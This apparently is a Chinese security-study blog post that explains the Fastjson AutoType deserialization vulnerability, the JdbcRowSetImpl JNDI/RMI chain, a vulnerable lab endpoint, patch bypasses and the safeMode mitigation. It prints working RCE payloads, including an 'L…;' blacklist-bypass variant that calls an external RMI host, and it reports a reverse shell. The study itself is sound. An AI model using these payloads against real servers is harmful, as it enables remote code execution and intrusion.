阿里巴巴官方文档 解释 AutoType:Fastjson 支持 AutoType 功能,这个功能会在序列化的 JSON 字符串中带上类型信息,在反序列化时,不需要传入类型,实现自动类型识别。

注意到上面使用 parseObject 方法进行反序列化时,通过指定类,可以将 JSON 反序列化为一个指定的类对象。而 Fastjson 还提供了另外一种方式(即 AutoType ):可以在 toJSONString() 方法中添加额外的属性SerializerFeature.WriteClassName,将对象类型一并序列化,此时序列化后的 JSON 字符串会自动携带@type字段,记录具体的类名,随后进行反序列化的过程便能自动此类 JSON 字符串转换为一个具体的类对象。

java 复制代码
public static void main(String[] args) {
        Person person = new Person();
        person.setName("Tr0e");
        person.setAge(18);

        System.out.println("--------------序列化-------------");
        String typeJson = JSON.toJSONString(person, SerializerFeature.WriteClassName);
        System.out.println(typeJson);

        System.out.println("-------------反序列化-------------");
        String JSON_Serialize = "{\"@type\":\"com.tr0e.sec.Entity.Person\",\"age\":18,\"name\":\"Tr0e\"}";
        ParserConfig.getGlobalInstance().addAccept("com.tr0e.sec.Entity");
        Object man =  JSON.parse(JSON_Serialize);
        System.out.println(man.getClass().getName());
        System.out.println(man);
    }

【注意】由于 fastjson 在 1.2.24 版本(最开始存在反序列化漏洞的版本)之后默认禁用 AutoType,因此这里我们通过 ParserConfig.getGlobalInstance().addAccept("com.tr0e.sec.Entity");来手动开启白名单,否则会报错 "autoType is not support"。

反序列化过程

为了从 Fastjson 最初的漏洞版本 1.2.24 开始讨论,修改 Fastjson 版本:

xml 复制代码
<dependency>
  <groupId>com.alibaba</groupId>
  <artifactId>fastjson</artifactId>
  <version>1.2.24</version>
</dependency>

修改下 JavaBean,增加日志打印:

java 复制代码
package com.tr0e.sec.Entity;


public class Person {

    public String name;

    public int age;

    public Person(){}

    public Person(int age, String name) {
        System.out.println("调用了构造函数");
        this.age = age;
        this.name = name;
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }
}

进行反序列化调用:

java 复制代码
System.out.println("-------------反序列化-------------");
String JSON_Serialize3 = "{\"@type\":\"com.tr0e.sec.Entity.Person\",\"age\":18,\"name\":\"Tr0e\"}";
System.out.println(JSON.parseObject(JSON_Serialize3));

输出结果如下所示:

可以看到 Fastjson 反序列化过程中,会调用 JavaBean 的 setter 和 getter 方法。

反序列化漏洞

回顾下 阿里巴巴官方文档 解释 AutoType:Fastjson 支持 AutoType 功能,这个功能会在序列化的 JSON 字符串中带上类型信息,在反序列化时,不需要传入类型,实现自动类型识别。

前面的学习示例已经演示了 AutoType 功能。小结一下:有了 AutoType 功能,那么 Fastjson 在对 JSON 字符串进行反序列化的时候,就会读取@type到内容,试图把 JSON 内容反序列化成这个对象,并且会调用这个类的 setter 方法。那么利用 AutoType 这个特性,可不可以自己构造一个 JSON 字符串,并且使用@type指定一个自己想要使用的攻击类库?答案是肯定的。

举个例子,攻击者比较常用的攻击类库是com.sun.rowset.JdbcRowSetImpl,这是 sun 官方提供的一个类库,这个类的 dataSourceName 支持传入一个 rmi 的源,当解析这个 uri 的时候,就会支持 RMI 远程调用,去指定的 RMI 地址中去调用方法。而 Fastjson 在反序列化时会调用目标类的 setter 方法,那么如果黑客在 dbcRowSetImpl 的 dataSourceName 中设置了一个想要执行的命令,那么就会导致存在远程命令执行的风险。

比如通过以下方式定义一个 JSON 串,即可实现远程命令执行(新版本中 JdbcRowSetImpl 已经被加了黑名单):

json 复制代码
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

这就是所谓的 Fastjson 反序列化漏洞造成远程命令执行的基本原理,下面通过实际的靶场案例来进一步分析。

漏洞靶场

https://github.com/j3ers3/Hello-Java-Sec/blob/master/src/main/java/com/best/hello/controller/ComponentsVul/FastjsonVul.java

java 复制代码
/*
 * Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象
 * Github:https://github.com/alibaba/fastjson/wiki/Quick-Start-CN
 *
 */
@Api("Fastjson反序列化漏洞")
@Slf4j
@RestController
@RequestMapping("/Fastjson")
public class FastjsonVul {
    @RequestMapping(value = "/vul", method = {RequestMethod.POST})
    public String vul(@RequestBody String content) {
        try {
            // 转换成object
            JSONObject jsonToObject = JSON.parseObject(content);
            log.info("[vul] Fastjson");
            return jsonToObject.get("name").toString();
        } catch (Exception e) {
            return e.toString();
        }
    }
}

此靶场的 Fastjson 版本:

xml 复制代码
<!-- Fastjson 1.2.24存在rce漏洞 -->
<dependency>
  <groupId>com.alibaba</groupId>
  <artifactId>fastjson</artifactId>
  <version>1.2.41</version>
</dependency>

一键搭建 RMI 与 ldap 服务,远程调用成功:


json 复制代码
{
  "@type":"com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName":"rmi://1xx.xx.xx.227:1099/roakzi",
  "autoCommit":true,
  "age":19,"id":2,"name":"test"
}

成功反弹 Shell:

JdbcRowSetImpl 利用链分析

根据 FastJson 反序列化漏洞原理,FastJson 将 JSON 字符串反序列化到指定的 Java 类时,会调用目标类的 getter、setter 等方法。JdbcRowSetImpl 利用链的核心问题出在JdbcRowSetImpl#setDataSourceNameJdbcRowSetImpl#setAutoCommit方法中存在可控的参数。

其中setDataSourceName()方法会设置 dataSource 的值:

setAutoCommit()会调用 connect() 方法,connect() 函数如下:

关注上面 325-326 行,熟悉的 JNDI 注入代码特征,这也解释了《Java反序列化漏洞与URLDNS利用链分析》开篇提到的疑惑,即为什么 Fastjson 反序列化漏洞利用过程采用的是 JNDI 注入。

可以通过一个简单的代码示例进一步验证下:

java 复制代码
    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl();
        JdbcRowSetImpl_inc.setDataSourceName("rmi://127.0.0.1:1099/viwnim");
        JdbcRowSetImpl_inc.setAutoCommit(true);
    }

【More】Fastjson 漏洞的另外一条利用链路------ Templateslmpl 利用链的原理和使用方法可以参见:《完全零基础入门Fastjson系列漏洞(基础篇)》、《Java 反序列化漏洞原理(三)fastjson 1.2.24 Templateslmpl 利用原理》。

检测工具

同样可以使用 BurpSuite 多漏洞集成探测插件:Tsojan/TsojanScan

补丁绕过

Fastjson 1.2.24 被爆出反序列化漏洞(CVE-2017-18349)之后,由于 Fastjson 被广泛运用在 Java 项目之中,受到漏洞研究人员和黑客的广泛关注,于是 Alibaba 团队发布的几个版本的补丁,陆续被业界给 Bypass 掉了,下面简单了解介绍一下这场 "战争"。

【1.2.25 -1.2.41 版本绕过】

在 1.2.24 版本会直接加载 @type 指向的类,而 1.2.25 版本增加了对类的 checkAutoType() 检查,会对要加载的类进行白名单和黑名单限制,并且引入了一个配置参数 AutoTypeSupport。

Fastjson 默认 AutoTypeSupport 为False(默认开启白名单机制),需要通过服务端使用以下代码手动关闭,这一点是高版本一个难以绕过的地方。

java 复制代码
// 全局开启AutoType,不建议使用
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// 建议使用这种方式,小范围指定白名单
ParserConfig.getGlobalInstance().addAccept("xxx.xxx.");

可以看到在开启白名单的条件下无法加载到我们的利用类:

这里我们修改autoTypeSupport=true,跟进TypeUtils#loadClass看一下:

  1. 如果以[开头则去掉[后进行类加载(在之前 Fastjson 已经判断过是否为数组了,实际走不到这一步);
  2. 如果以L开头,以;结尾,则去掉开头和结尾进行类加载;

那么加上L开头和;结尾实际上就可以绕过所有黑名单。Payload 如下:

json 复制代码
{
  "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
  "dataSourceName":"rmi://1xx.xx.xx.227:1099/roakzi",
  "autoCommit":true
}

AutoType 安全模式

Fastjson 漏洞的利用几乎都是围绕 AutoType 来的,于是在 v1.2.68 版本中,Fastjson 引入了 safeMode 属性,配置 safeMode 后,无论白名单和黑名单,都不支持 autoType,设置了 safeMode 后,@type字段不再生效,即当解析形如{"@type":"com.java.class"}的 JSON 串时,将不再反序列化出对应的类,可一定程度上缓解反序列化类变种攻击。

java 复制代码
ParserConfig.getGlobalInstance().setSafeMode(true); 

【More】Fastjson 被 Bypass 的补丁版本还涉及 1.2.42、1.2.43、1.2.44、1.2.45、1.2.47、1.2.48、1.2.68、1.2.80 等,值得另外整体学习,后续会单独学习记录下各个版本的 Bypass 原理和方式,以及 Fastjson 通过 Templateslmpl 利用链远程加载恶意类的字节码完成 RCE 的原理。

总结

本文学习了 JNDI 基本概念和 JNDI 注入的基本原理,并通过靶场实践 JNDI 注入漏洞的利用过程,与此同时学习了 Log4j RCE 漏洞(CVE-2021-44228)和 Fastjson 反序列化漏洞(CVE-2017-18349)的原理,并通过靶场实践借助 JNDI 注入完成 RCE 的过程。

这个过程中也可以看到著名的 Java 第三方组件也可能隐藏着"显而易见"的致命漏洞(相信 Log4j 能够"潜伏"那么多年估计也是诸多 Java 安全研究员始料未及的),在具备扎实的基本功和熟练了解相关组件特性的情况下,或许挖洞者跟漏洞之间的距离就差一颗敢于质疑、敢于挑战的心?

本文参考文章如下:

  1. JNDI注入详解 - FreeBuf
  2. JNDI注入利用原理及绕过高版本JDK限制
  3. Apache Log4j2 漏洞分析 | Gta1ta's Blog
  4. Apache Log4j2 Jndi RCE 高危漏洞分析与防御
  5. Java安全:Fastjson反序列化漏洞 - 枫のBlog
  6. 强烈推荐:完全零基础入门Fastjson系列漏洞(基础篇);
相关推荐
zfj3219 小时前
java日志框架:slf4j、jul(java.util.logging)、 log4j、 logback
java·log4j·logback·java日志框架·slf4j·jul
星蓝_starblue1 天前
单元测试(C++)——gmock通用测试模版(个人总结)
c++·单元测试·log4j
从零开始的-CodeNinja之路2 天前
【自动化】深度解析仓库存储UI自动化
ui·自动化·log4j
luo_guibin10 天前
vulhub复现CVE-2021-44228log4j漏洞
java·log4j·cve-2021-44228
ahauedu11 天前
SpringBoot中读取mock数据-高效调试接口
spring boot·后端·log4j
黄金右肾13 天前
Qt之第三方库‌日志log使用(四)
c++·qt·ui·log4j·qslog
oscar99918 天前
三步入门Log4J 的使用
单元测试·log4j
st_3318 天前
Junit5 单元测试入门
数据库·单元测试·log4j
java使徒21 天前
kafka消息在client是怎么写入的
java·jvm·spring boot·spring cloud·kafka·tomcat·log4j
说书人-24 天前
com.alibaba.fastjson.JSONException: not close json text, token : error
json·fastjson